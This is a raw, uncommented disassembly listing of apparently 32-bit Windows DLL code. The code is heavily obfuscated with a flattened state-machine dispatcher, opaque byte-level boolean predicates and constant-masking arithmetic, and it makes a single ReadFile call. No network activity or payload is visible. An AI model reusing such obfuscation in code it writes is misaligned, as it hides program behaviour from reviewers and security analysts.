xor al, ch
mov edx, ecx
xor dl, al
test dl, 1
mov edx, 0x5b81a1fb
mov esi, 0x926f42e4
cmovne edx, esi
test al, 1
mov eax, edx
mov esi, 0x5b81a1fb
cmovne eax, esi
test cl, 1
cmovne eax, edx
nop dword [eax]
cmp eax, 0xf7a2ce1
jg 0x1000f620
cmp eax, 0xc1b01f32
jle 0x1000f680
cmp eax, 0xef46a90d
jg 0x1000fdd4
cmp eax, 0xe3c36465
jg 0x1001194a
cmp eax, 0xc95c0906
jg 0x10013ae4
cmp eax, 0xc1b01f33
je 0x1001aa14
cmp eax, 0xc435d421
jne 0x1000f5c0
mov eax, dword [ebp - 0x48]
mov dword [eax], 0
mov eax, 0x836a01d3
jmp 0x1000f5c0
cmp eax, 0x42bccd6d
jle 0x1000f6f0
cmp eax, 0x57b91027
jg 0x1000fe0a
cmp eax, 0x53888285
jg 0x10011975
cmp eax, 0x513cbc80
jg 0x10013b04
cmp eax, 0x42bccd6e
je 0x1001aa1e
cmp eax, 0x45b379cb
jne 0x1000f5c0
mov eax, dword [ebp - 0x48]
mov dword [eax], 1
mov eax, 0xbe0737a
jmp 0x1000f5c0
cmp eax, 0xb18bdc55
jg 0x10010a11
cmp eax, 0x9250d5ab
jg 0x100119e2
cmp eax, 0x8a744034
jg 0x10014474
cmp eax, 0x836a01d3
je 0x1001b2a0
cmp eax, 0x88206d61
jne 0x1000f5c0
mov eax, dword [ebp - 0x5c]
mov dword [eax], 0
mov eax, dword [ebp - 0x44]
mov ecx, dword [ebp - 0x40]
mov edx, dword [ebp - 0x3c]
push 0
push dword [ebp - 0x5c]
push dword [eax]
push dword [ecx]
push dword [edx]
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, 0x6493523e
jmp 0x1000f5c0
cmp eax, 0x209e6054
jle 0x10010a55
cmp eax, 0x3c835a6f
jg 0x10011a0d
cmp eax, 0x35365001
jg 0x10014d29
cmp eax, 0x209e6055
je 0x1001c2f3
cmp eax, 0x2f335af6
jne 0x1000f5c0
mov ah, byte [ebp - 0x51]
movzx edx, byte [ebp - 0x52]
mov al, ah
xor al, 1
mov byte [ebp - 0x24], al
mov ecx, eax
and cl, ah
mov byte [ebp - 0x18], cl
xor cl, 1
mov bh, ah
xor bh, cl
or cl, ah
mov ch, dl
xor ch, 1
mov bl, dl
and bl, ch
xor bl, 1
mov dh, ch
or dh, bl
xor dh, 1
or dl, ch
or dl, dh
mov ah, dl
xor ah, 1
xor bl, ch
or bl, dh
mov al, bl
xor al, 1
mov ch, dl
and ch, ah
xor ch, 1
mov dh, ah
xor dh, ch
or ch, ah
xor ch, 1
or ch, dh
mov byte [ebp - 0x34], al
mov dh, al
mov byte [ebp - 0x4c], bl
and dh, bl
xor dh, 1
mov byte [ebp - 0x38], dh
or dl, al
xor dl, 1
or ah, bl
xor ah, 1
or ah, dl
or al, dh
xor al, 1
or al, bl
mov dh, al
xor dh, 1
mov bl, ch
xor bl, 1
and ch, dh
or dh, bl
and bl, al
or bl, ch
xor dh, 1
or bl, dh
mov ch, bl
xor ch, 1
mov dl, ah
xor dl, bl
and dl, ah
and bl, ah
xor ah, 1
and ah, ch
xor cl, 1
or bh, cl
or bl, ah
mov ah, dl
xor ah, 1
xor dl, bl
xor bl, 1
or bl, ah
mov ah, bh
xor ah, 1
xor bl, 1
or bl, dl
mov ch, bl
mov dh, bh
mov byte [ebp - 0x1c], ah
and dh, ah
xor dh, 1
mov byte [ebp - 0x14], dh
mov dl, ah
xor dl, dh
or ah, dh
xor ah, 1
mov byte [ebp - 0x28], ah
or dl, ah
mov ah, dl
xor ah, 1
mov bl, dl
and bl, ah
xor dl, bl
xor bl, 1
or bl, ah
xor bl, 1
or bl, dl
xor bl, 1
mov edx, ebx
mov byte [ebp - 0x30], bh
or dl, bh
xor dl, 1
xor bl, bh
or bl, dl
movzx edx, byte [ebp - 0x18]
xor dl, byte [ebp - 0x24]
or dl, cl
mov byte [ebp - 0x20], ch
mov al, ch
xor al, 1
mov byte [ebp - 0x24], al
mov cl, al
and cl, ch
xor cl, 1
mov byte [ebp - 0x2c], cl
or al, cl
xor al, 1
or al, ch
mov ecx, eax
xor cl, 1
mov ch, cl
and ch, al
xor ch, 1
mov ah, ch
xor ah, cl
or ch, cl
xor ch, 1
or ch, ah
mov ah, ch
xor ah, 1
and ah, cl
mov cl, al
xor cl, ch
and cl, al
and ch, al
or ch, ah
xor cl, 1
xor ch, 1
mov eax, ecx
xor al, ch
or ch, cl
xor ch, 1
or ch, al
mov cl, dl
mov byte [ebp - 0x18], dl
mov ah, dl
xor ah, 1
mov byte [ebp - 0x64], ah
and ah, dl
xor ah, 1
mov al, dl
xor al, ah
or ah, dl
xor ah, 1
or ah, al
mov bh, bl
xor bh, 1
mov cl, ah
xor cl, 1
mov al, bl
and al, ah
and cl, bh
or cl, al
or ah, bl
mov dh, ah
xor dh, 1
mov al, ah
and al, dh
xor al, 1
or al, dh
xor cl, 1
or cl, bh
mov dh, cl
xor dh, 1
xor al, 1
or al, ah
mov dl, al
and al, dh
xor dl, 1
and dl, cl
or al, dl
or cl, ah
xor al, 1
mov edx, eax
xor dl, cl
or al, cl
xor al, 1
or al, dl
mov ah, byte [ebp - 0x64]
or bh, ah
or ah, bl
movzx edx, byte [ebp - 0x18]
xor dl, bl
and dl, bl
xor dl, 1
mov cl, ah
xor cl, dl
or dl, ah
xor dl, 1
or dl, cl
mov ah, dl
and dl, bh
xor bh, 1
xor ah, 1
mov cl, bh
xor cl, ah
and cl, bh
and ah, bh
or ah, dl
or ah, cl
mov dl, ah
xor dl, 1
mov cl, al
xor cl, 1
mov dh, ah
and dh, cl
and ah, al
and al, dl
or al, dh
mov dh, al
xor dh, cl
and dh, al
and cl, dl
or cl, ah
mov dl, dh
xor dl, 1
mov eax, ecx
xor al, 1
mov ah, al
and ah, dh
xor al, dl
and dl, cl
or dl, ah
or cl, dh
xor cl, 1
or cl, al
xor dl, 1
mov eax, edx
xor al, cl
or dl, cl
xor dl, 1
or dl, al
mov al, ch
xor al, 1
mov ah, byte [ebp - 0x38]
mov bh, byte [ebp - 0x4c]
or ah, bh
xor ah, 1
mov bl, byte [ebp - 0x34]
or ah, bl
mov cl, ah
mov dh, ah
xor cl, 1
mov ah, ch
xor ah, cl
and dh, al
and cl, ch
or cl, dh
and ah, ch
or cl, ah
xor ch, bh
or al, bl
mov ah, al
xor ah, 1
or ch, ah
mov dh, ch
xor dh, 1
and dh, al
mov al, ah
xor al, ch
and al, ah
and ch, ah
or ch, dh
mov ah, al
xor ah, 1
xor al, ch
xor ch, 1
or ch, ah
xor ch, 1
or ch, al
mov al, ch
xor al, 1
mov ah, ch
and ah, al
xor ah, 1
mov ebx, eax
xor bl, ah
mov dh, al
or dh, ah
xor dh, 1
or dh, bl
mov ebx, ecx
xor bl, 1
xor dh, 1
mov bh, cl
xor bh, dh
and bh, dh
or dh, bl
xor dh, 1
or dh, bh
or ah, ch
xor ah, 1
or ah, al
and bl, ah
xor ah, 1
and ah, cl
or ah, bl
mov ch, cl
xor ch, al
or al, cl
xor al, 1
or al, ch
xor ah, 1
mov cl, ah
xor cl, al
or ah, al
xor ah, 1
or ah, cl
mov cl, dh
xor cl, 1
mov al, cl
and al, dh
xor al, 1
mov ch, dh
xor ch, al
or al, dh
xor al, 1
or al, ch
mov ch, al
xor ch, 1
and ch, ah
xor cl, ah
xor ah, 1
and al, ah
or al, ch
or ah, dh
xor ah, 1
or ah, cl
xor al, 1
mov ecx, eax
xor cl, ah
or al, ah
xor al, 1
or al, cl
mov dh, dl
xor dh, 1
and dh, dl
xor dh, 1
mov ecx, edx
xor cl, dh
or dh, dl
xor dh, 1
or dh, cl
mov cl, dh
xor cl, 1
and dh, cl
xor dh, 1
mov dl, dh
xor dl, cl
or dh, cl
xor dh, 1
or dh, dl
mov ah, al
xor ah, 1
mov ecx, eax
and cl, ah
mov dl, ah
mov bh, ah
xor dl, cl
xor cl, 1
mov ah, al
or ah, cl
xor ah, 1
or ah, dl
mov dl, al
xor dl, ah
or ah, al
xor ah, 1
or ah, dl
mov ch, dh
xor ch, 1
mov bl, dh
and bl, ch
xor bl, 1
or bl, ch
xor bl, 1
mov dl, dh
or dl, ch
or dl, bl
mov bl, dl
xor bl, 1
and bl, ch
mov ch, dh
xor ch, dl
and ch, dh
and dl, dh
or dl, bl
mov dh, ch
xor dh, 1
xor ch, dl
xor dl, 1
or dl, dh
xor dl, 1
or dl, ch
mov dh, bh
or cl, bh
xor cl, 1
or cl, al
mov al, cl
xor al, ah
mov byte [ebp - 0x18], al
mov ebx, ecx
mov ch, cl
or cl, ah
mov bh, ah
xor ah, 1
and bh, ah
xor bh, 1
mov al, ah
xor al, bh
or bh, ah
xor bh, 1
or bh, al
xor bh, 1
mov al, dh
xor al, bh
and bh, al
and al, dh
mov dh, bh
xor dh, 1
xor bh, al
xor al, 1
or al, dh
xor al, 1
or al, bh
xor bl, 1
and ch, bl
xor ch, 1
mov dh, ch
xor dh, bl
or ch, bl
xor ch, 1
or ch, dh
xor ch, ah
xor cl, 1
or cl, byte [ebp - 0x18]
mov ah, ch
xor ah, cl
or cl, ch
xor cl, 1
or cl, ah
mov ah, cl
xor ah, 1
mov ch, al
xor ch, 1
and ah, ch
or ch, cl
and cl, al
or cl, ah
xor ch, 1
or cl, ch
mov ah, dl
xor ah, 1
mov al, dl
and al, ah
xor al, 1
or al, ah
xor al, 1
or al, dl
mov edx, eax
xor dl, 1
and dl, cl
xor cl, 1
and al, cl
or al, dl
mov byte [ebp - 0x18], al
movzx eax, byte [ebp - 0x14]
movzx ecx, byte [ebp - 0x30]
or al, cl
xor al, 1
or al, byte [ebp - 0x1c]
mov ch, al
xor ch, 1
mov ah, ch
and ah, al
mov byte [ebp - 0x14], al
mov dl, ch
mov bl, ch
mov byte [ebp - 0x34], ch
xor dl, ah
xor ah, 1
or ah, al
xor ah, 1
or ah, dl
mov al, byte [ebp - 0x20]
mov edx, eax
mov dh, byte [ebp - 0x2c]
or dl, dh
xor dl, 1
xor dh, al
or dh, dl
mov ch, dh
xor ch, 1
mov bh, ch
and bh, dh
xor bh, 1
or bh, dh
xor bh, 1
or bh, ch
xor ah, 1
or ah, bl
mov dh, ah
xor dh, 1
mov ch, ah
and ch, dh
xor ch, 1
or ch, dh
xor ch, 1
or ch, ah
mov ah, ch
xor ah, 1
mov dh, ch
and dh, ah
xor dh, 1
mov bl, dh
xor bl, ah
or dh, ah
xor dh, 1
or dh, bl
mov bl, byte [ebp - 0x28]
or bl, cl
mov al, bl
and al, dh
xor dh, 1
xor bl, 1
and bl, dh
or bl, al
mov al, byte [ebp - 0x1c]
and al, ah
and ch, cl
or ch, al
or ah, cl
xor ch, 1
mov dh, ch
xor dh, ah
or ch, ah
xor ch, 1
or ch, dh
xor ch, 1
or ch, bl
mov dh, ch
xor dh, 1
mov ah, ch
and ah, dh
xor ah, 1
or ah, dh
xor ah, 1
or ah, ch
mov ch, ah
xor ch, 1
and ch, bh
xor bh, 1
and ah, bh
or ah, ch
movzx ecx, byte [ebp - 0x34]
xor cl, byte [ebp - 0x20]
mov al, byte [ebp - 0x24]
or dl, al
mov ch, byte [ebp - 0x14]
xor dl, ch
or ch, al
xor ch, 1
or ch, cl
mov dh, ch
xor dh, 1
mov cl, dl
xor cl, 1
and dl, ch
or ch, cl
and cl, dh
or cl, dl
xor cl, 1
mov dl, ch
xor dl, cl
or cl, ch
xor cl, 1
or cl, dl
mov ch, cl
xor ch, 1
and ch, cl
xor ch, 1
mov edx, ecx
xor dl, ch
or ch, cl
xor ch, 1
or ch, dl
mov cl, ch
xor cl, 1
mov dl, ch
and dl, cl
xor dl, 1
or dl, cl
xor dl, 1
or dl, ch
mov ecx, edx
xor cl, 1
mov dh, ah
mov ch, dl
and ch, cl
xor ch, 1
or ch, cl
xor ch, 1
or ch, dl
xor dl, ah
xor ah, 1
mov bl, ah
xor bl, cl
xor bl, 1
and dh, ah
xor dh, 1
mov bh, ah
xor bh, dh
or dh, ah
xor dh, 1
or dh, bh
xor ch, dh
or cl, ah
xor cl, 1
or cl, dl
xor cl, 1
or cl, ch
mov edx, ebx
or dl, cl
xor dl, 1
xor cl, bl
or cl, dl
mov ah, cl
xor ah, 1
mov byte [ebp - 0x14], ah
mov al, byte [ebp - 0x18]
mov dh, al
xor dh, 1
mov dl, cl
and dl, ah
xor dl, 1
or dl, ah
xor dl, 1
or dl, cl
xor dl, al
mov ah, al
mov bh, dh
and bh, al
mov bl, bh
xor bl, 1
mov ch, bl
and ch, bh
xor ch, 1
mov al, bh
xor al, ch
or ch, bh
mov bh, dl
xor bh, 1
xor ch, 1
or ch, al
mov al, ch
xor al, 1
and al, dh
or bl, dh
and dh, bh
and dl, ah
or dl, dh
xor dl, 1
or dl, bh
and ch, ah
or ch, al
xor ch, 1
mov al, ch
xor al, bl
or ch, bl
xor ch, 1
or ch, al
or cl, ch
xor ch, 1
or ch, byte [ebp - 0x14]
mov al, ch
xor al, cl
or ch, cl
mov cl, dl
xor cl, 1
xor ch, 1
or ch, al
mov al, ch
xor al, 1
and dl, ch
and al, cl
or al, dl
or ch, cl
mov ah, al
xor ah, 1
mov cl, ch
xor cl, ah
or ah, ch
xor ah, 1
or ah, cl
mov dl, ah
xor dl, 1
mov cl, ah
and cl, dl
xor cl, 1
or cl, dl
xor cl, 1
or cl, ah
xor cl, al
mov ah, dl
xor ah, al
or dl, al
xor dl, 1
or dl, ah
mov ch, cl
xor ch, dl
test dl, 1
mov eax, 0xf6a0f819
mov edx, 0x3d714b83
cmovne eax, edx
test cl, 1
cmovne eax, edx
not ch
test ch, 1
mov ecx, 0xf6a0f819
cmove eax, ecx
jmp 0x1000f5c0
cmp eax, 0xfd8852b9
jg 0x10011a64
cmp eax, 0xf645008c
jg 0x100157bc
cmp eax, 0xef46a90e
je 0x1001cec8
cmp eax, 0xf5d7e23a
jne 0x1000f5c0
mov eax, 0xaefe3d98
jmp 0x1000f5c0
cmp eax, 0x71a1c947
jg 0x10012141
cmp eax, 0x6493523d
jg 0x100169f7
cmp eax, 0x57b91028
je 0x1001cef8
cmp eax, 0x5de31238
jne 0x1000f5c0
mov eax, dword [ebp - 0x5c]
mov eax, dword [0x10049900]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
mov esi, ecx
or esi, 0x90b031c0
mov edx, eax
or edx, 0x843ca1d
and esi, 0x98f3fbdd
mov edi, eax
and edi, 0x640c0000
or edi, esi
and edx, 0x98f3fbdd
mov esi, ecx
and esi, 0x3000422
or esi, edx
xor esi, edi
and esi, 0xc0f74b51
xor esi, 0x80b00140
mov edi, eax
and edi, 0xc0f74b51
mov edx, ecx
and edx, 0x3f08b4ae
or edx, edi
mov edi, esi
and edi, 0xfaff6b79
not edx
or edx, eax
mov ebx, eax
mov dword [ebp - 0x14], eax
xor esi, edx
and esi, edi
xor edx, edi
not edx
or edx, esi
mov esi, edx
xor esi, 0xc0b44a41
mov edi, edx
xor edi, 0x3f08b4ae
xor edx, 0xe5b4fa65
and edx, edi
or esi, edx
not edx
and edx, 0x2543b134
and esi, 0xdabc4ecb
or esi, edx
mov edx, esi
not edx
and edx, 0x1d4b4404
and esi, 0xe2b4bbfb
or esi, edx
mov edx, esi
xor edx, 0x1d4b4404
mov edi, esi
xor edi, 0x20100022
and edi, 0x30124426
xor esi, 0x2f15b8b2
and esi, edx
and edx, 0x24cb890
or edx, edi
xor edx, 0x24cb890
or edx, esi
not esi
and esi, 0xcda10349
and edx, 0x325efcb6
or edx, esi
mov esi, ecx
or esi, 0x70022688
and esi, 0x710a668c
and ebx, 0x8951042
or ebx, esi
mov edi, ecx
xor edi, 0x99d5046
and edi, ecx
mov eax, edi
not eax
mov esi, ecx
or esi, eax
and eax, 0x710a668c
and edi, 0x8ef59973
or edi, eax
xor edi, ebx
not esi
or esi, edi
not edi
and edi, 0xf662afb9
and esi, 0x99d5046
or esi, edi
mov edi, edx
not edi
not esi
mov eax, dword [ebp - 0x14]
and eax, 0x3b12108b
and ecx, 0xc4edef74
or ecx, eax
xor ecx, 0xc4edef74
or ecx, esi
mov esi, ecx
not esi
mov eax, ecx
and eax, edi
mov ebx, edx
and ebx, esi
or ebx, eax
mov eax, ebx
xor eax, edi
and eax, ebx
mov dword [ebp - 0x14], eax
mov ebx, edx
xor ebx, 0x822689ff
and ebx, edx
and edi, 0x82248943
and edx, 0x200bc
or edx, edi
and ecx, 0x822689ff
and esi, 0x7dd97600
or esi, ecx
mov eax, edx
xor eax, 0x84
xor edx, 0xfffdff43
mov ecx, edx
and ecx, 0x27935979
and eax, 0x80248086
or eax, ecx
mov ecx, ebx
not ecx
or edx, ecx
and ecx, 0x27935979
and ebx, 0xd86ca686
or ebx, ecx
xor ebx, eax
not edx
or edx, ebx
mov edi, esi
xor edi, esi
not edi
and edi, edx
xor edi, esi
mov ecx, dword [ebp - 0x14]
mov edx, ecx
not edx
mov eax, edi
not eax
and edi, edx
or edx, eax
not edx
and eax, ecx
or eax, edi
or eax, edx
mov edx, eax
not edx
mov esi, eax
or esi, 0x86008020
mov ecx, edx
or ecx, 0x10900283
and esi, 0x969082a3
mov edi, edx
and edi, 0x68605d1c
or edi, esi
and ecx, 0x969082a3
mov esi, eax
and esi, 0x10f2040
or esi, ecx
xor esi, edi
mov edi, esi
xor edi, 0x870fa060
mov ecx, esi
xor ecx, 0x78f05f9f
mov ebx, ecx
or ebx, edi
xor esi, 0x473cebe0
and esi, ebx
and edi, 0x82f05c13
mov ebx, ecx
and ebx, 0x7d0fa3ec
or ebx, edi
xor ebx, 0x7d0fa3ed
and ecx, 0xfffffffe
or ecx, ebx
mov edi, esi
xor edi, 0xc0334b81
xor esi, 0x3fccb47e
mov ebx, esi
and ebx, 0xc48fd1ec
and edi, 0x3b702e13
or edi, ebx
xor edi, ecx
xor edi, 0x3b702e13
or esi, ecx
not esi
or esi, edi
mov ecx, esi
not ecx
mov edi, ecx
and edi, 0x52c321e0
and ecx, esi
and esi, 0xad3cde1f
or esi, edi
mov edi, esi
xor edi, 0x80ccc01
xor esi, 0x52c321e0
mov ebx, esi
and ebx, 0xe5b3127e
and edi, 0x1a4ced81
or edi, ebx
mov ebx, ecx
not ebx
or esi, ebx
and ebx, 0xe5b3127e
and ecx, 0x1a4ced81
or ecx, ebx
xor ecx, edi
not esi
or esi, ecx
mov ecx, esi
not ecx
and esi, 0x4b544d66
and ecx, 0xb4abb299
or ecx, esi
mov dword [ebp - 0x14], ecx
mov ecx, eax
and ecx, 0xade0af0
mov edi, edx
and edi, 0xf521f50f
or edi, ecx
mov ecx, edx
and ecx, eax
mov ebx, ecx
not ebx
mov esi, eax
or esi, ebx
and ebx, 0xade0af0
and ecx, 0xf521f50f
or ecx, ebx
xor ecx, edi
not esi
or esi, ecx
mov ecx, esi
not ecx
and esi, 0x445a068
and ecx, 0xe0084a11
or ecx, esi
mov esi, edx
and esi, 0x52dea39f
and eax, 0xad215c60
or eax, esi
mov esi, ecx
xor esi, 0xe0084a11
xor ecx, 0x8b7a468
xor eax, 0xb69349e6
xor edx, eax
and edx, eax
and ecx, 0xa8bfae69
mov ebx, esi
and ebx, 0x44404010
or ebx, ecx
mov edi, edx
not edi
mov ecx, edi
and ecx, 0x58fb0b57
mov eax, edx
and eax, 0xa704f4a8
or eax, ecx
xor ebx, 0x57405196
mov ecx, eax
xor ecx, 0xa704f4a8
or ecx, ebx
and ebx, 0xac66d40d
and esi, 0x40092a70
or esi, ebx
mov ebx, eax
xor ebx, 0x620005
or ebx, 0x10392
xor eax, 0x204c008
and ebx, 0xa5631797
and eax, 0xa04c008
or eax, ebx
or edi, 0xa5621405
and edi, 0xa5631797
and edx, 0x50982860
or edx, edi
xor edx, eax
xor edx, esi
mov eax, edx
xor eax, 0x2000000
xor edx, 0xfcffffff
mov esi, edx
and esi, 0x9187a7bc
and eax, 0x6e785843
or eax, esi
mov esi, ecx
not esi
or edx, ecx
and ecx, 0x9187a7bc
and esi, 0x6c784841
or esi, ecx
xor esi, eax
not edx
or edx, esi
mov ecx, edx
not ecx
mov eax, edx
xor eax, 0x1bb21587
and eax, edx
or edx, 0xe44dea78
mov esi, edx
and esi, 0xf5e90d3e
and ecx, 0xa121081
or ecx, esi
mov esi, eax
not esi
or edx, esi
and esi, 0xf5e90d3e
and eax, 0xa16f2c1
or eax, esi
xor eax, ecx
not edx
or edx, eax
mov eax, edx
mov edi, edx
not edi
mov ecx, edi
and ecx, 0x4733ccbe
and eax, 0xb8cc3341
or eax, ecx
mov ebx, dword [ebp - 0x14]
mov esi, ebx
xor esi, 0x4b544d66
xor ebx, 0xb4abb299
mov ecx, eax
xor ecx, 0xb8cc3341
and ecx, esi
xor eax, 0x4733ccbe
and eax, ebx
mov dword [ebp - 0x14], ebx
or eax, ecx
mov ecx, eax
xor ecx, esi
and ecx, eax
mov dword [ebp - 0x18], ecx
mov eax, esi
and eax, 0x90fe6a2a
mov ecx, ebx
and ecx, 0xf001001
or ecx, eax
mov ebx, edx
xor ebx, 0x8f023821
and ebx, edx
and edi, 0x7023020
and edx, 0x88000801
or edx, edi
mov eax, ecx
xor eax, 0xe000001
xor ecx, 0x820
or ecx, 0x5035c34a
and ecx, 0x5135db6a
and eax, 0x8e022001
or eax, ecx
or esi, 0x1001820
and esi, 0x5135db6a
mov ecx, dword [ebp - 0x14]
and ecx, 0x20c80494
or ecx, esi
xor ecx, eax
mov esi, ecx
mov ecx, edx
xor ecx, 0x88000801
xor edx, 0x77fff7fe
mov eax, edx
and eax, 0x576f521a
and ecx, 0x88002821
or ecx, eax
mov eax, ebx
not eax
or edx, eax
and eax, 0x576f521a
and ebx, 0xa890ade5
or ebx, eax
xor ebx, ecx
not edx
or edx, ebx
xor edx, esi
mov edi, dword [ebp - 0x18]
mov esi, edi
not esi
mov eax, edx
not eax
mov ecx, esi
or ecx, eax
not ecx
and esi, 0xc62d810b
and edi, 0x39d27ef4
or edi, esi
and eax, 0xc62d810b
and edx, 0x39d27ef4
or edx, eax
xor edx, edi
or edx, ecx
mov eax, edx
not eax
mov ecx, eax
and ecx, edx
mov edi, edx
mov ebx, eax
and ebx, 0xc848afd6
mov esi, edx
and edx, 0x37b75029
or edx, ebx
and edi, 0x84085409
xor edx, 0xba2f0c90
or edx, eax
and eax, 0x99008b0
or eax, edi
mov edi, ecx
not edi
mov ebx, esi
or ebx, edi
and edi, 0x84085409
and ecx, 0x99008b0
or ecx, edi
xor ecx, eax
not ebx
or ebx, ecx
mov eax, ebx
not eax
or eax, 0x7267a346
mov esi, eax
not esi
and eax, 0x81f0be5
xor ebx, 0x8d104429
and ebx, esi
and esi, 0x85805418
or esi, eax
mov eax, esi
xor eax, 0xf7e0f41a
mov dword [ebp - 0x14], eax
and eax, 0xcd72c56b
or ebx, eax
mov dword [ebp - 0x18], ebx
mov eax, edx
not eax
mov ebx, eax
mov ecx, eax
mov dword [ebp - 0x1c], eax
or ebx, 0x228d3a94
mov eax, ebx
and eax, 0x2a5f62ee
mov edi, edx
and edi, 0xd5208501
or edi, eax
mov eax, edx
xor eax, 0x228d3a94
and eax, ecx
mov ecx, eax
not ecx
or ebx, ecx
and ecx, 0x2a5f62ee
and eax, 0xd5a09d11
or eax, ecx
xor eax, edi
not ebx
or ebx, eax
xor ebx, dword [ebp - 0x18]
xor esi, 0x81f0be5
mov eax, esi
and eax, 0x80800019
mov ecx, dword [ebp - 0x14]
and ecx, 0x3d3edce0
or ecx, eax
mov eax, dword [ebp - 0x1c]
or esi, eax
and eax, 0xc2c1231f
and edx, 0x3d3edce0
or edx, eax
xor edx, ecx
not esi
or esi, edx
mov ecx, esi
not ecx
mov eax, ebx
xor eax, 0xefffffff
mov edx, eax
and edx, 0xdb311bf4
and ebx, 0x24cee40b
or ebx, edx
or eax, esi
and esi, 0xdb311bf4
and ecx, 0x24cee40b
or ecx, esi
xor ecx, ebx
not eax
or eax, ecx
mov edx, eax
xor edx, 0x42400344
xor eax, 0xc0054a0
and eax, 0x3c27f4a2
and edx, 0xc3d80b5d
or edx, eax
mov esi, edx
xor esi, 0x3c27f4a2
xor edx, 0xc3d80b5d
mov ecx, esi
or ecx, 0x2c680308
mov eax, edx
or eax, 0x2049412
and ecx, 0x2e6c971a
mov edi, edx
and edi, 0x804864
or edi, ecx
and eax, 0x2e6c971a
mov ecx, esi
and ecx, 0xd1132081
or ecx, eax
xor ecx, edi
mov edi, ecx
xor edi, 0xfd7b2389
mov dword [ebp - 0x14], edi
xor ecx, 0x284dc76
mov eax, ecx
and eax, 0xc7893685
and edi, 0x3876c97a
or edi, eax
not edi
or edi, ecx
or edx, 0x8028138
and esi, 0x43800601
and edx, 0x8c0bb1bc
or edx, esi
mov ebx, edi
not ebx
mov esi, edx
xor edx, 0x73f44e43
mov eax, ebx
xor eax, edx
and eax, ebx
and edi, 0x2103e3f
and ebx, 0xfdefc1c0
or ebx, edi
xor esi, 0x84090080
and edx, 0x2103e3f
and esi, 0xc5890080
or esi, edx
xor esi, ebx
or esi, eax
mov edx, esi
mov edi, esi
xor edi, 0x6f8656e7
and edi, esi
not esi
or edx, 0x9079a918
mov eax, edx
and eax, 0x58e02062
and esi, 0x27065685
or esi, eax
mov eax, edi
not eax
or edx, eax
and eax, 0x58e02062
and edi, 0xa71fdf9d
or edi, eax
xor edi, esi
not edx
or edx, edi
and ecx, 0x5ae5a022
mov edi, dword [ebp - 0x14]
mov esi, edi
and esi, 0xa51a5fdd
or esi, ecx
mov eax, esi
xor eax, 0xa51a5fdd
mov ecx, esi
xor ecx, 0x113983d8
and ecx, eax
mov eax, edi
and eax, 0xb423dc05
or eax, ecx
xor eax, 0xb423dc05
xor esi, 0x5ae5a022
or esi, eax
mov edi, esi
not edi
mov eax, edi
and eax, esi
mov ecx, esi
and ecx, 0x7bcea37a
and edi, 0x84315c85
or edi, ecx
mov ecx, eax
not ecx
or esi, ecx
and ecx, 0x7bcea37a
and eax, 0x84315c85
or eax, ecx
mov ecx, edx
xor ecx, 0x45b09b04
xor eax, edi
not esi
or esi, eax
mov edi, esi
not edi
xor edx, 0xa80f6062
mov eax, edx
or eax, edi
and edx, 0x3a4b44b9
and ecx, 0xc5b4bb46
or ecx, edx
and edi, 0x3a4b44b9
and esi, 0xc5b4bb46
or esi, edi
xor esi, ecx
mov ecx, esi
not ecx
mov edx, ecx
and edx, 0xfadf6501
and esi, 0x5209afe
or esi, edx
xor esi, eax
xor esi, 0x5209afe
or ecx, eax
not ecx
or ecx, esi
mov eax, ecx
not eax
and ecx, 0x89251204
and eax, 0x76daedfb
or eax, ecx
mov ecx, eax
xor ecx, 0x51200
xor eax, 0x108c32
and ecx, 0x76cf73c9
and eax, 0x89308c36
or eax, ecx
mov edx, eax
xor edx, 0x89308c36
mov ecx, eax
xor ecx, 0x76cf73c9
mov esi, ecx
and esi, 0x494301e0
mov edi, edx
xor eax, 0xa9c35d33
and eax, edx
and edx, 0xb6bcfe1f
or edx, esi
xor edx, 0xb6bcfe1f
mov ebx, edx
xor ebx, ecx
and ebx, edx
and ecx, 0x20611101
and edi, 0x92c004
or edi, ecx
xor edi, 0x92c004
or eax, edi
mov ecx, eax
xor ecx, 0x20f3d105
mov esi, ebx
xor esi, 0x5bf0e1ae
mov edi, esi
and esi, ebx
mov edx, ebx
not edx
and edi, edx
or esi, edi
mov edi, eax
xor edi, 0xdf0c2efa
xor eax, 0x7b0330ab
and eax, ecx
or ecx, 0xa40f1e51
mov ebx, ecx
and ebx, 0xc2449005
or edx, edi
and edi, 0x19b061aa
or edi, ebx
mov ebx, eax
not ebx
or ecx, ebx
and ebx, 0xc2449005
and eax, 0x3dbb6ffa
or eax, ebx
xor eax, edi
not ecx
or ecx, eax
xor ecx, esi
mov eax, ecx
not eax
mov esi, eax
and esi, 0xb2a5aab4
and ecx, 0x4d5a554b
or ecx, esi
mov esi, edx
not esi
or eax, edx
and edx, 0xb2a5aab4
and esi, 0x4d5a554b
or esi, edx
xor esi, ecx
not eax
or eax, esi
mov edx, eax
not edx
mov ecx, edx
and ecx, 0x4e884821
mov esi, eax
and esi, 0x8034265a
or esi, ecx
xor esi, 0x8034265a
mov ecx, eax
xor ecx, 0xcebc6e7b
and ecx, eax
or esi, ecx
not ecx
and ecx, 0x31439184
and esi, 0xcebc6e7b
or esi, ecx
mov ecx, esi
not ecx
and esi, 0x800184a0
and ecx, 0x3c8a4251
or ecx, esi
and edx, 0x4fefffd0
and eax, 0xb010002f
or eax, edx
mov edx, eax
xor edx, 0xb010002f
xor eax, 0xbe3df90
and eax, 0x1be3df99
mov edi, edx
and edi, 0xe41c2066
or edi, eax
mov esi, ecx
xor esi, 0x28080241
xor ecx, 0xc375bdae
xor edi, 0xa7681968
and edx, 0xbc8bc6f1
or edx, edi
mov edi, ecx
and ecx, 0x97936d3c
and esi, 0x280882c1
or esi, ecx
mov eax, edx
not eax
or edi, edx
not edi
and edx, 0x97936d3c
and eax, 0x686c92c3
or eax, edx
xor eax, esi
or eax, edi
mov ecx, eax
xor ecx, 0x348ac2d0
mov edx, eax
xor edx, 0x4374390e
xor eax, 0x36aaf3da
and eax, edx
or ecx, eax
not eax
and eax, 0x8a21352b
and ecx, 0x75decad4
or ecx, eax
mov edx, ecx
not edx
mov eax, ecx
xor eax, 0x3ad0063c
mov esi, eax
and esi, edx
and eax, ecx
or eax, esi
and ecx, 0x978a16ac
mov esi, edx
and esi, 0x6875e953
or esi, ecx
mov ecx, eax
xor ecx, 0x2d00014
xor esi, 0x6875e953
or esi, edx
xor eax, 0xc52ff9c3
mov edx, eax
and edx, 0xf9257f6a
and ecx, 0x6da8095
or ecx, edx
xor ecx, esi
xor ecx, 0x6da8095
or eax, esi
not eax
or eax, ecx
